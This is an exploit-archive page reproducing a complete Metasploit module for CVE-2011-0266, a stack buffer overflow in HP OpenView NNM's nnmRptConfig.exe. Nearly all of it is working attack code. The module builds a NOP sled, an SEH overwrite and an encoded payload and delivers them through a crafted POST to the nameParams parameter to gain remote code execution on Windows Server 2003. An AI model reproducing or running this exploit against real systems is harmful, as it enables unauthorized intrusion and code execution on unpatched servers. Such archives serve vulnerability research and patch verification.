ExploitFixes
HP OpenView NNM nnmRptConfig nameParams Buffer Overflow - [CVE: 2011-0266] 2011-03-23 10:15:16

##
# $Id: hp_nnm_nnmrptconfig_nameparams.rb 12085 2011-03-23 03:37:18Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh

def initialize(info={})
super(update_info(info,
'Name' => "HP OpenView NNM nnmRptConfig nameParams Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability in HP NNM's nnmRptConfig.exe.
A remote user can send a long string data to the nameParams parameter via
a POST request, which causes an overflow on the stack when function
ov.sprintf_new() is used, and gain arbitrary code execution.'
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 12085 $",
'Author' =>
[
'sinn3r',
],
'References' =>
[
['CVE', '2011-0266'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-008/']
],
'Payload' =>
{
'BadChars' => "\x00\x26\x2b",
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
'AutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
['Windows Server 2003 Enterprise', {'Ret'=>0x5A30532D, 'offset'=>46913, 'Pops'=>13, 'Payloadoffset'=>57} ],
],
'Privileged' => false,
'DisclosureDate' => "JAN 10 2011"))

register_options(
[
Opt::RPORT(80),
], self.class)
end

def exploit

nops = make_nops(1000)*70

sploit = nops[0, target['offset']]
sploit << generate_seh_record(target.ret)
sploit << "\x61"*target['Pops']
sploit << "\x51"
sploit << "\xc3"
sploit << nops[0, target['Payloadoffset']]
sploit << payload.encoded
sploit << nops[0, 70000-sploit.length]

data = "Content&Action=Create&"
data << "Template=Avail/CRAvail&"
data << "Operation=Apply&"
data << "Params=schdParams+nameParams"
data << "&schdParams=schd_select1%3Ddaily%7Cmonthtodate&"
data << "nameParams=text1%3D#{sploit}%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"

connect
send_request_raw({
'uri' => '/OvCgi/nnmRptConfig.exe',
'data' => data,
'version' => '1.1',
'method' => 'POST',
'headers' => {
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' => 'en-us,en;q=0.5',
'Accept-Encoding' => 'gzip,deflate',
'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Keep-Alive' => '300',
'Connection' => 'Keep-Alive',
'Cache-Control' => 'max-age=0',
'Content-Length' => data.length,
'Content-Type' => 'application/x-www-form-urlencoded',
}
}, 3)

handler
disconnect

end
end